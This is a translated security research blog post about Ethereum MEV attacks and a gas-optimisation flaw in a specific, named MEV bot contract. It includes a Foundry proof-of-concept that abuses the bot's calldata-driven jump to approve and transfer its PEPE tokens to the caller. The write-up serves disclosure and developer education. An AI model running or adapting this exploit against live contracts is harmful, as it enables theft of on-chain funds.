你的三明治是我的午餐:如何抽取MEV合约V2

  • zellic
  • 发布于 2023-07-22 14:22
  • 阅读 16

本文讨论了以太坊上的最大可提取价值(MEV)及其相关的安全问题,包括常见的攻击方式和智能合约中的气体优化缺陷。通过对一个存在气体优化漏洞的MEV机器人的分析,展示了如何利用其漏洞进行恶意操作,并介绍了如何在避免被MEV机器人影响的情况下保护普通用户的策略。

介绍

以太坊是一个黑暗森林↗。 机器人监听网络上的进入交易,并在正常用户之前提交自己的交易——这个过程称为抢先交易 (front-running)。抢先交易让机器人每月通过 MEV 赚取数百万↗。然而,MEV 机器人面临几种安全问题的威胁。

在为此帖子进行研究的过程中,我们在以太坊上最大的 MEV 机器人之一中发现了一个 gas 优化漏洞:0x2387…8CDB↗。 该漏洞使我们能够收集合约所拥有并被批准的所有 ERC-20 代币。

什么是 MEV?

最大可提取价值 (Maximal extractable value, MEV) 是衡量交易对机器人的价值的指标。例如,某个币的买入交易对该币的持有者有价值,而某个用户借款的币的卖出交易对清算欠款的机器人也有价值。通过成为受益方,例如代币的持有者或头寸的清算者,机器人可以从交易中提取价值。机器人从交易中获得的理论价值上限称为 MEV。

三明治交易是 MEV 的一种特定类型。通过利用买入和卖出代币的交易,机器人在用户的交易执行之前进入有利位置——这个过程被称为抢先交易 (front-running)。然后,在交易执行之后,机器人立即退出该头寸。例如,机器人买入 $PEPE,用户也买入 $PEPE,然后机器人卖出 $PEPE。

还有更微妙类型的 MEV。当一个代币在不同市场上的定价失误时,例如在 Uniswap V2 和 V3 上,机器人会从较便宜的市场买入,再卖到更贵的市场。这一过程被称为套利。

清算是 MEV 的另一种形式,它推动了套利和三明治交易。当用户的贷款不足(例如,用户的抵押品价值不足以覆盖贷款)时,就会面临清算。机器人清算该贷款,收回其抵押品并在公开市场上出售。这些价格波动形成了套利和三明治机会。

这些 MEV 机会通常需要以某种方式进行抢先交易。抢先交易是通过向矿工行贿以让机器人的交易优先被纳入。这个贿赂还需要比其他竞争相同价值提取机会的机器人的贿赂大。MEV 竞争导致一些机器人放弃超过 99% 的提取价值给贿赂。这三笔交易被添加到一个 bundle 中,这是发送给矿工的一组原子交易列表,明确告诉他们要么按照顺序包括所有三个交易,要么一个都不包括。

现在我们了解了 MEV 的原理,可以探讨机器人在提取 MBV 方面出错的地方。

常见的 MEV 攻击

沙门氏菌攻击

攻击 MEV 机器人并不新鲜。沙门氏菌攻击↗ 创建带有毒性的代币,当被购买时,只提供买方期望收到的一小部分代币。通过在公共交易池中大量购买这种代币,攻击者可以诱使机器人进行三明治交易。它们会在攻击者之前购买带毒代币,但它们将获得过少的代币无法出售。

然而,现代机器人通过 模拟 来缓解这种攻击类型。如果在模拟中进行三明治交易不会盈利,它们就不会尝试。此外,如果攻击者合约有条件地向构建者支付(例如,仅在实现利润的情况下将 0.1 ETH 发送到 COINBASE 指令返回的地址),则不盈利的交易将不会被包括。基本上,这防止了它们被利用。但是,如果攻击者能够在模拟和实时链之间找到差异,一些机器人就会遭到它们的带毒交易。

看看这条推特↗,由 @bertcmiller↗ 发布。通过检查当前区块是否由 Flashbots 构建者挖掘,恶意代币可以区分模拟与链上,以有条件地触发部分支付。在模拟中,利润 看起来 很好,但在链上,情况就完全不同了。

然而,合理推测交易会失败,因为如果没有利润,没人会贿赂矿工以获得纳入。没问题——恶意代币 自己 给矿工支付,确保受害者的购买能够通过。

姨妈攻击

有时,在构建区块链时,会创建两个新区块而不是一个。尽管区块链会根据 分叉选择规则↗ 决定选择哪个区块,但未包含的区块,被称为姨妈区块(ommer 或 uncle block),会“泄漏”交易包。一旦姨妈块中包括了交易包,则该交易包对区块链上的每个人都是公开的,这允许恶意机器人破坏其他机器人期望的原子性。例如,某个机器人可以仅选择另一个机器人的包中的第一个买入交易,并通过在新块中包含该交易进行三明治交易。

这种情况在许多情况下都有发生。例如,在这篇 文章↗ 中,Elan Halpern 详细说明了试图寻找证据以证明这些姨妈抢劫攻击的发生。攻击者只赚了 0.4 ETH——对于 MEV 攻击来说是相对微不足道的金额——但姨妈区块的发生频率足够高,使这成为一个有效的获利策略。

现代机器人通过只允许其交易在具有特定区块 ID 的区块中成功来缓解这一攻击。如果交易被包含在机器人未打算包含的区块中,它将失败。

Gas 优化失败

许多机器人依赖智能合约来提取 MEV,因为它们可以执行原子操作并包含检查以防止上述攻击。然而,智能合约需要 gas——这是以太坊计算的货币。因此,为了降低 gas 成本,MEV 机器人的编写者试图使其合约尽可能简洁和经济。其中一种优化是在函数调用上。

高效的函数调用?

在 Solidity 中,编写智能合约的典型语言,调用函数的内部结构有点如下:

  • 用户给程序提供一个 函数哈希。这是调用者想调出的函数签名的 keccak256 哈希。例如,如果它们希望调用 transfer(address,uint256),它们将发送字节 a9059cbb
  • 程序将依次将此哈希与其公共函数列表进行比较。一旦找到匹配项,程序将跳转到该函数。

然而,这需要大量 gas。检查哪些哈希映射到哪些函数需要多次比较和额外的代码。有没有更便宜的选择?

是的。需要我们研究的合约,0x2387…8CDB↗,是一个竞争性的混合三明治和套利机器人,来自日赚约 $1,000。其在 EigenPhi↗ MEV 排行榜上的最近排名吸引了很多注意。它是如何节省 gas 的呢?

我们需要查看字节码↗

我们看到它执行了 CALLDATALOAD 指令将前 256 位 calldata 加载到堆栈上。通过执行 SHR 0xf0 操作码,合约提取 calldata 的最后 16 位。然后,*JUMPI 将跳转到该地址。

简而言之,合约读取我们提供的 calldata 然后 跳转 到该数据中的代码地址。它没有函数列表,只是执行我们指定地址的代码。这个想法是,以太坊 Solidity 的函数哈希比较过于复杂——为什么不直接指定函数的地址以节省 gas?

这里是两种函数调用范例的示意图:

尽管地址跳转范例 看起来 安全,但它引发了几个问题。我们没有理由非要将函数的开始指定为该地址。为什么不跳转到函数中间呢?也许我们可以通过跳过身份验证检查来引发保留给合约拥有者的例程?我们只需在想要跳转的地方有一个 JUMPDEST 指令即可。

果然,在浏览字节码时,有一个方便的代码段可以用于调用 任何 合约,身份验证检查被省略:

该字节码分为三大部分。回想一下,前 16 位用于指定代码地址。第一部分使用 CALLDATACOPY 从调用者加载 calldata。倒数第二个部分从索引 CALLDATASIZE - 0x16 开始加载以太坊地址以调用调用者。最后一部分执行实际的任意调用。

简言之,我们可以用任意 calldata 调用任意地址。这是一个强大的原语。我们可以用它做什么?

合约持有 $14 的 $PEPE 代币。我们可以发起 ERC-20 批准,将代币从合约转移到我们的钱包。

为了模拟此次攻击,我们将使用 Foundry↗。它将允许我们分叉主网以验证此次攻击是否确实有效。我们可以创建一个与 $PEPE 代币和目标合约接口的 Solidity 合约。让我们从以下样板开始:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
// erc20
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract PEPEThief is Test {
    // 定义 pepe erc20 合约
    ERC20 pepe = ERC20(0x6982508145454Ce325dDbE47a25d4ec3d2311933);
    address mev = address(0x23873a6B44CF6836129a0d2BFe6f76d57cAc8CDB);
    address owner = address(this);

    function setUp() public {
        uint256 forkId = vm.createFork("<your eth node here>");
        vm.selectFork(forkId);
    }
        function testWithdraw() public {
                // 在这里插入你的攻击代码
        }
}

Foundry 允许我们快速测试我们的攻击,只需运行 forge test。 这将运行所有以“test-”前缀的公共函数,包括 testWithdraw

结合字节码知识,我们可以编写一个函数,创建我们希望调用的代码段的 calldata,03D7;我们希望发送的 calldata;用于提取所有 $PEPE 至攻击者钱包的批准;以及我们希望调用的地址,即 $PEPE ERC-20 合约。让我们将该函数称为 approveTransfer

function approveTransfer(uint256 balance) private {
    bytes memory calldat = abi.encode(owner, balance);
    bytes4 selector = bytes4(keccak256(bytes("approve(address,uint256)")));
    bytes memory data = abi.encodePacked(uint16(0x03d7), selector, calldat, pepe);
    assembly {
        pop(call(gas(), sload(mev.slot), 0, add(data, 32), mload(data), 0x0, 0x0))
    }
}

在此,我们创建一个 calldat 变量,包含我们发送至 pepe 地址的 calldata 的一部分。另一部分是 selector,它是我们希望调用的 Solidity 函数的哈希。我们使用 ABI 库拼接并将我们的 calldata 打包为 MEV 合约的一个最终变量 data。使用一些内联汇编,我们可以用 data 作为我们的 calldata 调用合约。

现在,让我们在我们的测试案例中使用该函数以查看资金转移。

function testWithdraw() public {
    console.log("balance owner", pepe.balanceOf(owner));
    console.log("balance mev", pepe.balanceOf(mev));

    console.log("正在进行转移");
    uint256 balance = pepe.balanceOf(mev);
    approveTransfer(balance);
    pepe.transferFrom(mev, owner, balance);

    console.log("balance owner", pepe.balanceOf(owner));
    console.log("balance mev", pepe.balanceOf(mev));
}

最后,你将获得你努力获得的 $PEPE:

然而,我们不会在主网上提取这一(微不足道的)金额,因为在没有许可的情况下攻击智能合约是非法的。我们试图与合约的作者取得联系,但由于他们是匿名的,我们未能成功。同时,合约中的钱数微不足道,我们认为,作为开发者教育安全示例的好处将是不可估量的。

结论

编写 MEV 机器人是困难的。在为效率和 gas 优化合约时,存在引入微妙错误的很多机会,比如这里看到的“工具跳转”。这就是在为区块链编写时拥有来自第二双眼睛是如此重要的原因。

普通用户所能做的最好事情就是安装 Flashbots Protect↗。 MEV 机器人将不会看到等待池中的交易,因此它们不会知道何时去包夹用户。

关于我们

Zellic 专注于保护新兴技术。我们的安全研究人员在最有价值的目标中发现了漏洞,从财富 500 强到去中心化金融巨头。

开发者、创始人和投资者信任我们的安全评估,以便快速、自信且无重大漏洞地交付。凭借我们在现实世界主动安全研究中的背景,我们发现了其他人错过的漏洞。

联系我们↗,以获取比其他审计更好的审计服务。真实的审计,而不是走过场的审批。

  • 原文链接: zellic.io/blog/your-sand...
  • 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
zellic
zellic
Security reviews and research that keep winners winning. https://www.zellic.io/